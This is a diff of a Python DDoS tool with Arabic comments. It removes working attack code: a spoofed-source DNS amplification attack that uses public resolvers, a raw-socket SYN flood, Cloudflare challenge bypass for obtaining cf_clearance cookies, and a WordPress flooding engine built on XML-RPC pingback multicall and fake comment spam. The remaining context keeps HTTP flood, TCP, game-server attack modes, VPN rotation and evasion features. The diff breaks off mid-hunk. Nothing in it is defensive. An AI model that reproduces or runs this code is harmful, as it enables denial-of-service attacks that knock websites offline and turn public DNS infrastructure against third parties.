Update 1.py
Browse files
1.py
CHANGED
|
@@ -24,13 +24,6 @@ try:
|
|
| 24 |
except Exception:
|
| 25 |
pass
|
| 26 |
|
| 27 |
-
try:
|
| 28 |
-
import cloudscraper
|
| 29 |
-
CLOUDSCRAPER_AVAILABLE = True
|
| 30 |
-
except ImportError:
|
| 31 |
-
CLOUDSCRAPER_AVAILABLE = False
|
| 32 |
-
print("[!] cloudscraper not installed. Run: pip install cloudscraper")
|
| 33 |
-
|
| 34 |
required_packages = ["aiohttp", "requests", "h2", "uvloop", "aioquic", "beautifulsoup4", "curl_cffi", "scapy", "httpx", "websockets", "redis", "fastapi", "uvicorn", "apscheduler", "pywinauto"]
|
| 35 |
if platform.system() == "Windows":
|
| 36 |
try:
|
|
@@ -1666,115 +1659,27 @@ class TCPFingerprinter:
|
|
| 1666 |
return sent
|
| 1667 |
|
| 1668 |
|
| 1669 |
-
def
|
| 1670 |
-
|
| 1671 |
-
|
| 1672 |
-
|
| 1673 |
-
|
| 1674 |
-
|
| 1675 |
-
header += b"\x00"
|
| 1676 |
-
total = sum(struct.unpack('!%dH' % (len(header) // 2), header))
|
| 1677 |
-
total = (total >> 16) + (total & 0xFFFF)
|
| 1678 |
-
total += total >> 16
|
| 1679 |
-
return (~total) & 0xFFFF
|
| 1680 |
|
|
|
|
|
|
|
| 1681 |
|
| 1682 |
-
|
| 1683 |
-
|
| 1684 |
-
try:
|
| 1685 |
-
self.target_ip = socket.gethostbyname(target_ip)
|
| 1686 |
-
except Exception:
|
| 1687 |
-
self.target_ip = target_ip
|
| 1688 |
-
self.target_port = target_port
|
| 1689 |
-
self.resolvers = []
|
| 1690 |
-
self.resolver_file = resolver_file
|
| 1691 |
-
if resolver_file and os.path.isfile(resolver_file):
|
| 1692 |
-
self.load_resolvers_from_file(resolver_file)
|
| 1693 |
-
|
| 1694 |
-
def load_resolvers_from_file(self, filepath: str):
|
| 1695 |
try:
|
| 1696 |
-
|
| 1697 |
-
|
|
|
|
|
|
|
|
|
|
| 1698 |
except Exception:
|
| 1699 |
-
|
| 1700 |
-
|
| 1701 |
-
def dns_amplification(self, packet_count: int, resolver_list=None):
|
| 1702 |
-
resolvers = resolver_list or self.resolvers or [
|
| 1703 |
-
"8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222", "185.228.168.168",
|
| 1704 |
-
"8.8.4.4", "149.112.112.112", "94.140.14.14", "64.6.64.6", "77.88.8.8"
|
| 1705 |
-
]
|
| 1706 |
-
if not resolvers:
|
| 1707 |
-
raise ValueError("No resolvers available for DNS amplification.")
|
| 1708 |
-
|
| 1709 |
-
dns_query = (
|
| 1710 |
-
b'\x00\x00\x81\x80\x00\x01\x00\x00\x00\x00\x00\x00' +
|
| 1711 |
-
b'\x07' + b'example' + b'\x03' + b'com' + b'\x00' +
|
| 1712 |
-
b'\x00\xff\x00\x01'
|
| 1713 |
-
)
|
| 1714 |
-
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 1715 |
-
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
| 1716 |
-
|
| 1717 |
-
for _ in range(packet_count):
|
| 1718 |
-
src_ip = generate_ip()
|
| 1719 |
-
ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 1500, 0x4000, 0, 64, 17, 0,
|
| 1720 |
-
socket.inet_aton(src_ip), socket.inet_aton(self.target_ip))
|
| 1721 |
-
checksum_value = ip_checksum(ip_header)
|
| 1722 |
-
ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 1500, 0x4000, 0, 64, 17, checksum_value,
|
| 1723 |
-
socket.inet_aton(src_ip), socket.inet_aton(self.target_ip))
|
| 1724 |
-
udp_header = struct.pack('!HHHH', random.randint(1024, 65535), 53, len(dns_query) + 8, 0)
|
| 1725 |
-
packet = ip_header + udp_header + dns_query
|
| 1726 |
-
try:
|
| 1727 |
-
sock.sendto(packet, (random.choice(resolvers), 53))
|
| 1728 |
-
except Exception:
|
| 1729 |
-
pass
|
| 1730 |
-
|
| 1731 |
-
|
| 1732 |
-
def syn_volcano(host: str, port: int, duration: int):
|
| 1733 |
-
socks = []
|
| 1734 |
-
for _ in range(100):
|
| 1735 |
-
try:
|
| 1736 |
-
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 1737 |
-
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
| 1738 |
-
socks.append(s)
|
| 1739 |
-
except PermissionError:
|
| 1740 |
-
break
|
| 1741 |
-
if not socks:
|
| 1742 |
-
return
|
| 1743 |
-
|
| 1744 |
-
end = time.time() + duration
|
| 1745 |
-
while time.time() < end:
|
| 1746 |
-
for s in socks:
|
| 1747 |
-
ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 40, 0, random.randint(1, 10), 6, 0,
|
| 1748 |
-
socket.inet_aton(generate_ip()), socket.inet_aton(host))
|
| 1749 |
-
tcp_header = struct.pack('!HHLLBBHHH', random.randint(1, 65535), port, 0, 0, 0x50, 0x02, 65535, 0, 0)
|
| 1750 |
-
try:
|
| 1751 |
-
s.sendto(ip_header + tcp_header, (host, port))
|
| 1752 |
-
except Exception:
|
| 1753 |
-
pass
|
| 1754 |
-
|
| 1755 |
-
|
| 1756 |
-
def get_ns_servers(domain: str):
|
| 1757 |
-
try:
|
| 1758 |
-
import dns.resolver
|
| 1759 |
-
answers = dns.resolver.resolve(domain, 'NS')
|
| 1760 |
-
return [str(r).rstrip('.') for r in answers]
|
| 1761 |
-
except Exception:
|
| 1762 |
-
return []
|
| 1763 |
-
|
| 1764 |
-
|
| 1765 |
-
def dns_amplification_attack(target_ip: str, target_port: int = 53, count: int = 1000, resolver_list=None):
|
| 1766 |
-
"""هجوم تضخيم DNS على مستوى Raw Socket (يتطلب صلاحيات Admin)."""
|
| 1767 |
-
amplifier = DarkAmplifier(target_ip, target_port)
|
| 1768 |
-
if resolver_list:
|
| 1769 |
-
amplifier.resolvers = resolver_list
|
| 1770 |
-
try:
|
| 1771 |
-
amplifier.dns_amplification(count, resolver_list)
|
| 1772 |
-
except PermissionError as e:
|
| 1773 |
-
print(f"[!] DNS amplification requires Admin raw socket privileges: {e}")
|
| 1774 |
-
except Exception as exc:
|
| 1775 |
-
print(f"[!] DNS amplification failed: {exc}")
|
| 1776 |
-
else:
|
| 1777 |
-
print(f"[+] DNS Amplification launched against {target_ip}")
|
| 1778 |
|
| 1779 |
class VPNRotator:
|
| 1780 |
WARP_CLI_PATHS = [
|
|
@@ -1849,7 +1754,171 @@ class VPNRotator:
|
|
| 1849 |
|
| 1850 |
|
| 1851 |
def get_playwright_clearance(url: str, identity: SessionIdentity = None) -> dict[str, str]:
|
| 1852 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1853 |
|
| 1854 |
# ============================================================================
|
| 1855 |
# دوال مساعدة لـ HTTP والهجمات الكلاسيكية
|
|
@@ -2810,90 +2879,54 @@ class OptimizedConnectionPool:
|
|
| 2810 |
|
| 2811 |
|
| 2812 |
class EnhancedPlaywrightBypass:
|
|
|
|
|
|
|
| 2813 |
@staticmethod
|
| 2814 |
-
def solve_js_challenge(url: str, headless: bool = False
|
| 2815 |
result = {"headers": {}, "cookie_header": "", "content": ""}
|
| 2816 |
try:
|
| 2817 |
-
from playwright.sync_api import sync_playwright
|
|
|
|
| 2818 |
with sync_playwright() as p:
|
| 2819 |
-
browser = p.chromium.launch(
|
| 2820 |
-
|
| 2821 |
-
|
| 2822 |
-
|
| 2823 |
-
|
| 2824 |
-
|
| 2825 |
-
|
| 2826 |
-
|
| 2827 |
-
)
|
| 2828 |
page = context.new_page()
|
| 2829 |
-
page.
|
| 2830 |
-
|
| 2831 |
-
|
| 2832 |
-
page.
|
| 2833 |
-
|
| 2834 |
try:
|
| 2835 |
-
page.wait_for_selector("
|
| 2836 |
except Exception:
|
| 2837 |
pass
|
| 2838 |
-
|
| 2839 |
-
|
| 2840 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2841 |
cookies = context.cookies()
|
| 2842 |
-
|
| 2843 |
-
|
| 2844 |
-
|
| 2845 |
-
if cf_clearance:
|
| 2846 |
-
result["cookie_header"] = f"cf_clearance={cf_clearance}; __cf_bm={cf_bm}"
|
| 2847 |
-
print("[JS] cf_clearance obtained successfully!")
|
| 2848 |
-
else:
|
| 2849 |
-
print("[JS] No cf_clearance found. Check if you solved the challenge.")
|
| 2850 |
-
|
| 2851 |
browser.close()
|
| 2852 |
-
except Exception
|
| 2853 |
-
|
| 2854 |
return result
|
| 2855 |
|
| 2856 |
|
| 2857 |
-
def get_cf_clearance(url: str, headless: bool = False) -> str:
|
| 2858 |
-
result = EnhancedPlaywrightBypass.solve_js_challenge(url, headless=headless)
|
| 2859 |
-
return result.get("cookie_header", "")
|
| 2860 |
-
|
| 2861 |
-
|
| 2862 |
-
def get_cloudscraper_cookies(url: str) -> str:
|
| 2863 |
-
"""الحصول على cf_clearance باستخدام cloudscraper (أسرع وأقوى من Playwright)"""
|
| 2864 |
-
if not CLOUDSCRAPER_AVAILABLE:
|
| 2865 |
-
return ""
|
| 2866 |
-
try:
|
| 2867 |
-
scraper = cloudscraper.create_scraper(
|
| 2868 |
-
browser={
|
| 2869 |
-
'browser': 'chrome',
|
| 2870 |
-
'platform': 'windows',
|
| 2871 |
-
'desktop': True,
|
| 2872 |
-
'mobile': False
|
| 2873 |
-
},
|
| 2874 |
-
interpreter='python'
|
| 2875 |
-
)
|
| 2876 |
-
headers = {
|
| 2877 |
-
'User-Agent': random.choice(USER_AGENTS),
|
| 2878 |
-
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
|
| 2879 |
-
'Accept-Language': 'en-US,en;q=0.9',
|
| 2880 |
-
'Accept-Encoding': 'gzip, deflate, br',
|
| 2881 |
-
'Connection': 'keep-alive',
|
| 2882 |
-
}
|
| 2883 |
-
resp = scraper.get(url, headers=headers, timeout=30)
|
| 2884 |
-
|
| 2885 |
-
if resp.status_code == 200:
|
| 2886 |
-
cookies = resp.cookies.get_dict()
|
| 2887 |
-
cf_clearance = cookies.get('cf_clearance', '')
|
| 2888 |
-
cf_bm = cookies.get('__cf_bm', '')
|
| 2889 |
-
if cf_clearance:
|
| 2890 |
-
print(f"[JS] cloudscraper got cf_clearance: {cf_clearance[:20]}...")
|
| 2891 |
-
return f"cf_clearance={cf_clearance}; __cf_bm={cf_bm}"
|
| 2892 |
-
return ""
|
| 2893 |
-
except Exception as e:
|
| 2894 |
-
print(f"[JS] cloudscraper error: {e}")
|
| 2895 |
-
return ""
|
| 2896 |
-
|
| 2897 |
|
| 2898 |
def http_flood(url: str, total_requests: int, workers: int, method: str, payload: str, rate: float, duration: float, extra_headers: bool, use_playwright: bool, keepalive: bool, random_query: bool, app_mode: bool, logger, identity_pool: IdentityPool = None, human_timing: bool = False, use_cffi: bool = False, tcp_spoof: bool = False, ai_payload: bool = False, use_js_bypass: bool = False):
|
| 2899 |
mode_name = "http-app" if app_mode else "http"
|
|
@@ -3399,82 +3432,6 @@ def print_evasion_report(identity_pool=None, use_tcp_spoof=False, use_cffi=False
|
|
| 3399 |
|
| 3400 |
|
| 3401 |
|
| 3402 |
-
class WordPressBypassEngine:
|
| 3403 |
-
"""محرك متخصص لاختراق ووردبريس عبر ثغرات منطقية متعددة"""
|
| 3404 |
-
|
| 3405 |
-
def __init__(self, target_host):
|
| 3406 |
-
self.host = target_host
|
| 3407 |
-
self.scheme = "https"
|
| 3408 |
-
self.last_post_id = random.randint(1, 500)
|
| 3409 |
-
self.attack_index = 0
|
| 3410 |
-
self.endpoints = [
|
| 3411 |
-
self._xmlrpc_attack,
|
| 3412 |
-
self._rest_api_attack,
|
| 3413 |
-
self._ajax_attack,
|
| 3414 |
-
self._comment_attack,
|
| 3415 |
-
]
|
| 3416 |
-
|
| 3417 |
-
def get_next_payload(self):
|
| 3418 |
-
"""دور بين 4 أنواع هجوم مختلفة لتجنب النمطية"""
|
| 3419 |
-
self.attack_index = (self.attack_index + 1) % len(self.endpoints)
|
| 3420 |
-
return self.endpoints[self.attack_index]()
|
| 3421 |
-
|
| 3422 |
-
def _xmlrpc_attack(self):
|
| 3423 |
-
"""XML-RPC Multipayload - يستهلك CPU ويصعب تحليله"""
|
| 3424 |
-
path = "/xmlrpc.php"
|
| 3425 |
-
multicall = []
|
| 3426 |
-
for _ in range(20):
|
| 3427 |
-
multicall.append({
|
| 3428 |
-
"methodName": "pingback.ping",
|
| 3429 |
-
"params": [
|
| 3430 |
-
f"https://{random.choice(['google.com', 'bing.com', 'example.com'])}",
|
| 3431 |
-
f"{self.scheme}://{self.host}/{random.randint(1,999)}"
|
| 3432 |
-
]
|
| 3433 |
-
})
|
| 3434 |
-
payload = f"""<?xml version="1.0"?>
|
| 3435 |
-
<methodCall>
|
| 3436 |
-
<methodName>system.multicall</methodName>
|
| 3437 |
-
<params><param><value><array><data>
|
| 3438 |
-
{''.join([f'<value><struct><member><name>methodName</name><value><string>{m["methodName"]}</string></value></member><member><name>params</name><value><array><data><value><string>{m["params"][0]}</string></value><value><string>{m["params"][1]}</string></value></data></array></value></member></struct></value>' for m in multicall])}
|
| 3439 |
-
</data></array></value></param></params>
|
| 3440 |
-
</methodCall>"""
|
| 3441 |
-
return path, payload, "text/xml"
|
| 3442 |
-
|
| 3443 |
-
def _rest_api_attack(self):
|
| 3444 |
-
"""REST API - يستهلك قاعدة البيانات"""
|
| 3445 |
-
path = f"/wp-json/wp/v2/posts?per_page={random.randint(50,100)}&page={random.randint(1,20)}"
|
| 3446 |
-
return path, "", "application/json"
|
| 3447 |
-
|
| 3448 |
-
def _ajax_attack(self):
|
| 3449 |
-
"""Admin AJAX - يحاكي طلبات حقيقية من الواجهة"""
|
| 3450 |
-
actions = ["wp_ajax_nopriv_", "heartbeat", "query-attachments", "get-comments"]
|
| 3451 |
-
action = random.choice(actions) + str(random.randint(1, 999))
|
| 3452 |
-
path = f"/wp-admin/admin-ajax.php?action={action}&_wpnonce={hashlib.md5(str(random.random()).encode()).hexdigest()[:10]}"
|
| 3453 |
-
payload = f"post_id={random.randint(1,500)}&comment_parent=0&comment={''.join(random.choices(['Nice','Great','Thanks','Awesome','Informative'], k=random.randint(3,8)))}"
|
| 3454 |
-
return path, payload, "application/x-www-form-urlencoded"
|
| 3455 |
-
|
| 3456 |
-
def _comment_attack(self):
|
| 3457 |
-
"""تعليق وهمي مع محاولة تخمين الـ Nonce"""
|
| 3458 |
-
path = "/wp-comments-post.php"
|
| 3459 |
-
self.last_post_id = random.randint(1, 500)
|
| 3460 |
-
comment_text = ' '.join(random.choices([
|
| 3461 |
-
'Great article!', 'Very informative.', 'I totally agree with your point.',
|
| 3462 |
-
'Thanks for sharing this.', 'This is really helpful.', 'Interesting perspective.',
|
| 3463 |
-
'Well written!', 'Looking forward to more content.', 'I have a question about this.'
|
| 3464 |
-
], k=random.randint(2,5)))
|
| 3465 |
-
|
| 3466 |
-
payload = urllib.parse.urlencode({
|
| 3467 |
-
'author': random.choice(['Ahmed', 'Mohamed', 'Omar', 'Sara', 'John', 'Emma', 'Liam']),
|
| 3468 |
-
'email': f'user_{random.randint(1000,9999)}@{random.choice(["gmail.com","yahoo.com","outlook.com"])}',
|
| 3469 |
-
'url': f'https://{random.choice(["example.com","blogger.com","wordpress.org"])}',
|
| 3470 |
-
'comment': comment_text,
|
| 3471 |
-
'comment_post_ID': str(self.last_post_id),
|
| 3472 |
-
'comment_parent': '0',
|
| 3473 |
-
'submit': 'Post Comment'
|
| 3474 |
-
})
|
| 3475 |
-
return path, payload, "application/x-www-form-urlencoded"
|
| 3476 |
-
|
| 3477 |
-
|
| 3478 |
class UltimateIntegratedEngine:
|
| 3479 |
def __init__(self, target: str, threads: int = 1000, duration: int = 0,
|
| 3480 |
use_identities: bool = True, use_human_timing: bool = True,
|
|
@@ -3497,7 +3454,6 @@ class UltimateIntegratedEngine:
|
|
| 3497 |
self.max_requests = max(0, total_requests)
|
| 3498 |
self.max_load = max_load
|
| 3499 |
self.attack_mode = attack_mode.lower()
|
| 3500 |
-
self.wordpress_mode = 'wp-' in target or '/feed/' in target or 'wp-json' in target
|
| 3501 |
self.running = False
|
| 3502 |
self.stop_requested = False
|
| 3503 |
self.stats = defaultdict(int)
|
|
@@ -3525,12 +3481,6 @@ class UltimateIntegratedEngine:
|
|
| 3525 |
self.use_cffi = use_cffi and CURL_CFFI_AVAILABLE
|
| 3526 |
self.use_js_bypass = use_js_bypass and PLAYWRIGHT_AVAILABLE
|
| 3527 |
self.use_http2 = use_http2
|
| 3528 |
-
self.dns_amplify = kwargs.get('dns_amplify', False)
|
| 3529 |
-
self.ns_attack = kwargs.get('ns_attack', False)
|
| 3530 |
-
self.impersonate_list = ["chrome124", "chrome120", "firefox125", "safari17_0"]
|
| 3531 |
-
self.current_impersonate = random.choice(self.impersonate_list)
|
| 3532 |
-
self._cf_cookie = ""
|
| 3533 |
-
self.request_count = 0
|
| 3534 |
self.vpn_rotator = None
|
| 3535 |
if vpn_mode and vpn_mode != "System Default":
|
| 3536 |
self.vpn_rotator = VPNRotator(vpn_mode=vpn_mode, interval_seconds=300)
|
|
@@ -3581,15 +3531,9 @@ class UltimateIntegratedEngine:
|
|
| 3581 |
timeout = aiohttp.ClientTimeout(total=10, connect=5, sock_read=5)
|
| 3582 |
self.session = aiohttp.ClientSession(connector=conn, timeout=timeout, trust_env=False)
|
| 3583 |
if self.use_cffi and CURL_CFFI_AVAILABLE:
|
| 3584 |
-
for _ in range(10):
|
| 3585 |
-
for imp in
|
| 3586 |
-
self.cffi_clients.append(
|
| 3587 |
-
cffi_requests.AsyncSession(
|
| 3588 |
-
impersonate=imp,
|
| 3589 |
-
verify=False,
|
| 3590 |
-
timeout=8
|
| 3591 |
-
)
|
| 3592 |
-
)
|
| 3593 |
await self._create_httpx_client()
|
| 3594 |
async def _create_httpx_client(self):
|
| 3595 |
if not HTTPX_AVAILABLE or not self.use_http2:
|
|
@@ -3604,117 +3548,9 @@ class UltimateIntegratedEngine:
|
|
| 3604 |
self.httpx_client = httpx.AsyncClient(http2=True, limits=limits, timeout=timeout, verify=False, follow_redirects=True, trust_env=False)
|
| 3605 |
self._log(f"[⚡] HTTP/2 multiplexer: {max_httpx_connections} streams, {max_keepalive} keep-alive.", "INFO")
|
| 3606 |
|
| 3607 |
-
async def _browser_worker(self, worker_id: int):
|
| 3608 |
-
"""Worker يستخدم متصفح حقيقي لإرسال الطلبات"""
|
| 3609 |
-
from playwright.async_api import async_playwright
|
| 3610 |
-
|
| 3611 |
-
async with async_playwright() as p:
|
| 3612 |
-
browser = await p.chromium.launch(headless=True, args=["--disable-blink-features=AutomationControlled"])
|
| 3613 |
-
context = await browser.new_context(
|
| 3614 |
-
user_agent=random.choice(USER_AGENTS),
|
| 3615 |
-
viewport={"width": random.randint(1366, 1920), "height": random.randint(768, 1080)},
|
| 3616 |
-
locale="en-US,en;q=0.9"
|
| 3617 |
-
)
|
| 3618 |
-
page = await context.new_page()
|
| 3619 |
-
|
| 3620 |
-
await page.goto(f"https://{self.host}/", wait_until="networkidle")
|
| 3621 |
-
await page.wait_for_selector("body :not(script)", state="visible", timeout=30000)
|
| 3622 |
-
|
| 3623 |
-
cookies = await context.cookies()
|
| 3624 |
-
cf_clearance = next((c["value"] for c in cookies if c["name"] == "cf_clearance"), "")
|
| 3625 |
-
if cf_clearance:
|
| 3626 |
-
self._log("[Browser] cf_clearance captured.", "SUCCESS")
|
| 3627 |
-
|
| 3628 |
-
while self.running and not self.stop_requested:
|
| 3629 |
-
try:
|
| 3630 |
-
comment_data = {
|
| 3631 |
-
'author': random.choice(['Ahmed', 'Mohamed', 'Omar', 'Sara']),
|
| 3632 |
-
'email': f'user{random.randint(1000,9999)}@{random.choice(["gmail.com","yahoo.com"])}',
|
| 3633 |
-
'comment': ' '.join(random.choices(['Nice post!', 'Thanks for sharing.', 'Great content!'], k=2)),
|
| 3634 |
-
'comment_post_ID': str(random.randint(1, 500)),
|
| 3635 |
-
'submit': 'Post Comment'
|
| 3636 |
-
}
|
| 3637 |
-
|
| 3638 |
-
await page.evaluate(f"""
|
| 3639 |
-
fetch('https://{self.host}/wp-comments-post.php', {{
|
| 3640 |
-
method: 'POST',
|
| 3641 |
-
headers: {{
|
| 3642 |
-
'Content-Type': 'application/x-www-form-urlencoded',
|
| 3643 |
-
'Referer': 'https://{self.host}/',
|
| 3644 |
-
'Origin': 'https://{self.host}/'
|
| 3645 |
-
}},
|
| 3646 |
-
body: new URLSearchParams({comment_data})
|
| 3647 |
-
}})
|
| 3648 |
-
""")
|
| 3649 |
-
|
| 3650 |
-
with self.lock:
|
| 3651 |
-
self.stats['total'] += 1
|
| 3652 |
-
|
| 3653 |
-
await asyncio.sleep(random.uniform(0.5, 2.0))
|
| 3654 |
-
except Exception as e:
|
| 3655 |
-
self._log(f"[Browser] Worker {worker_id} error: {e}", "ERROR")
|
| 3656 |
-
await asyncio.sleep(5)
|
| 3657 |
-
|
| 3658 |
-
await browser.close()
|
| 3659 |
-
|
| 3660 |
async def _attack_worker(self, worker_id: int):
|
| 3661 |
-
|
| 3662 |
-
|
| 3663 |
-
try:
|
| 3664 |
-
ip = socket.gethostbyname(self.host)
|
| 3665 |
-
self._log(f"[DNS] Resolved {self.host} -> {ip}", "INFO")
|
| 3666 |
-
except Exception as e:
|
| 3667 |
-
self._log(f"[DNS] Resolution failed: {e}. Trying fallback...", "ERROR")
|
| 3668 |
-
import subprocess
|
| 3669 |
-
try:
|
| 3670 |
-
ip = subprocess.check_output(["nslookup", self.host]).decode().split()[-1]
|
| 3671 |
-
self._log(f"[DNS] Fallback resolved to {ip}", "INFO")
|
| 3672 |
-
except Exception:
|
| 3673 |
-
self._log("[DNS] FATAL: Cannot resolve host. Attack will fail.", "ERROR")
|
| 3674 |
-
self.stop_requested = True
|
| 3675 |
-
return
|
| 3676 |
-
|
| 3677 |
-
if worker_id == 0 and self.use_js_bypass:
|
| 3678 |
-
self._log("[JS] Trying cloudscraper for clearance...", "INFO")
|
| 3679 |
-
cookie = get_cloudscraper_cookies(self.target)
|
| 3680 |
-
if cookie:
|
| 3681 |
-
self._cf_cookie = cookie
|
| 3682 |
-
self._log("[JS] ✅ CLEARANCE OBTAINED via cloudscraper!", "SUCCESS")
|
| 3683 |
-
try:
|
| 3684 |
-
test_headers = {"Cookie": cookie, "User-Agent": random.choice(USER_AGENTS)}
|
| 3685 |
-
async with aiohttp.ClientSession() as session:
|
| 3686 |
-
async with session.get(self.target, headers=test_headers, ssl=False, timeout=10) as resp:
|
| 3687 |
-
self._log(f"[JS] Test request returned: {resp.status}", "INFO")
|
| 3688 |
-
except Exception:
|
| 3689 |
-
pass
|
| 3690 |
-
else:
|
| 3691 |
-
self._log("[JS] cloudscraper failed. Trying Playwright fallback...", "WARNING")
|
| 3692 |
-
retries = 0
|
| 3693 |
-
while retries < 3 and not hasattr(self, '_cf_cookie'):
|
| 3694 |
-
try:
|
| 3695 |
-
result = EnhancedPlaywrightBypass.solve_js_challenge(self.target, headless=False)
|
| 3696 |
-
if result.get("cookie_header"):
|
| 3697 |
-
self._cf_cookie = result["cookie_header"]
|
| 3698 |
-
self._log("[JS] ✅ CLEARANCE OBTAINED via Playwright!", "SUCCESS")
|
| 3699 |
-
break
|
| 3700 |
-
else:
|
| 3701 |
-
retries += 1
|
| 3702 |
-
self._log(f"[JS] Retry {retries}/3...", "WARNING")
|
| 3703 |
-
await asyncio.sleep(5)
|
| 3704 |
-
except Exception as e:
|
| 3705 |
-
self._log(f"[JS] Error: {e}", "ERROR")
|
| 3706 |
-
retries += 1
|
| 3707 |
-
await asyncio.sleep(5)
|
| 3708 |
-
|
| 3709 |
-
if not hasattr(self, '_cf_cookie') or not self._cf_cookie:
|
| 3710 |
-
self._log("[JS] ❌ Failed to get clearance. Attack will likely get 403.", "ERROR")
|
| 3711 |
-
|
| 3712 |
-
while self.running and not self.stop_requested:
|
| 3713 |
-
with self.lock:
|
| 3714 |
-
self.request_count += 1
|
| 3715 |
-
if self.request_count % 100 == 0:
|
| 3716 |
-
self.current_impersonate = random.choice(self.impersonate_list)
|
| 3717 |
-
|
| 3718 |
identity = None
|
| 3719 |
if self.identity_pool:
|
| 3720 |
identity = self.identity_pool.get_identity()
|
|
@@ -3731,8 +3567,6 @@ class UltimateIntegratedEngine:
|
|
| 3731 |
for h in ["Connection", "Keep-Alive", "Transfer-Encoding", "Host"]:
|
| 3732 |
headers.pop(h, None)
|
| 3733 |
headers.update(self._get_platform_headers())
|
| 3734 |
-
if hasattr(self, '_cf_cookie') and self._cf_cookie:
|
| 3735 |
-
headers["Cookie"] = self._cf_cookie
|
| 3736 |
if "Host" in headers:
|
| 3737 |
del headers["Host"]
|
| 3738 |
if "host" in headers:
|
|
@@ -3746,11 +3580,7 @@ class UltimateIntegratedEngine:
|
|
| 3746 |
target_host = self.host
|
| 3747 |
target_port = self.port
|
| 3748 |
if self.attack_mode == "tcp_syn":
|
| 3749 |
-
|
| 3750 |
-
if IS_ADMIN:
|
| 3751 |
-
threading.Thread(target=syn_volcano, args=(target_host, target_port, duration_seconds), daemon=True).start()
|
| 3752 |
-
else:
|
| 3753 |
-
threading.Thread(target=flooder, args=(target_host, target_port, random._urandom(4096), datetime.datetime.now() + datetime.timedelta(seconds=duration_seconds)), daemon=True).start()
|
| 3754 |
elif self.attack_mode == "mine":
|
| 3755 |
threading.Thread(target=mine, args=(target_host, target_port, b"\x06\x00/\x00\x00\x00\x02\x0c\x00", datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
|
| 3756 |
elif self.attack_mode == "vse":
|
|
@@ -3766,64 +3596,23 @@ class UltimateIntegratedEngine:
|
|
| 3766 |
await asyncio.sleep(0.001)
|
| 3767 |
continue
|
| 3768 |
path = self.path
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3769 |
method = self.http_method
|
| 3770 |
data = None
|
| 3771 |
-
if
|
| 3772 |
-
|
| 3773 |
-
|
| 3774 |
-
|
| 3775 |
-
|
| 3776 |
-
|
| 3777 |
-
|
| 3778 |
-
|
| 3779 |
-
|
| 3780 |
-
|
| 3781 |
-
pass
|
| 3782 |
-
if self.wordpress_mode:
|
| 3783 |
-
if not hasattr(self, 'wp_engine'):
|
| 3784 |
-
self.wp_engine = WordPressBypassEngine(self.host)
|
| 3785 |
-
wp_path, wp_payload, content_type = self.wp_engine.get_next_payload()
|
| 3786 |
-
path = wp_path
|
| 3787 |
-
if 'xmlrpc' in path:
|
| 3788 |
-
data = wp_payload.encode('utf-8')
|
| 3789 |
-
headers["Content-Type"] = "text/xml"
|
| 3790 |
-
headers["Content-Length"] = str(len(data))
|
| 3791 |
-
elif 'admin-ajax' in path:
|
| 3792 |
-
data = wp_payload.encode('utf-8')
|
| 3793 |
-
headers["Content-Type"] = "application/x-www-form-urlencoded"
|
| 3794 |
-
headers["X-Requested-With"] = "XMLHttpRequest"
|
| 3795 |
-
headers["Referer"] = f"{self.scheme}://{self.host}/"
|
| 3796 |
-
elif 'wp-json' in path:
|
| 3797 |
-
data = None
|
| 3798 |
-
headers["Accept"] = "application/json, text/javascript, */*; q=0.01"
|
| 3799 |
-
headers["Referer"] = f"{self.scheme}://{self.host}/"
|
| 3800 |
-
else:
|
| 3801 |
-
data = wp_payload.encode('utf-8')
|
| 3802 |
-
headers["Content-Type"] = "application/x-www-form-urlencoded"
|
| 3803 |
-
headers["Referer"] = f"{self.scheme}://{self.host}/"
|
| 3804 |
-
headers["Origin"] = f"{self.scheme}://{self.host}"
|
| 3805 |
-
else:
|
| 3806 |
-
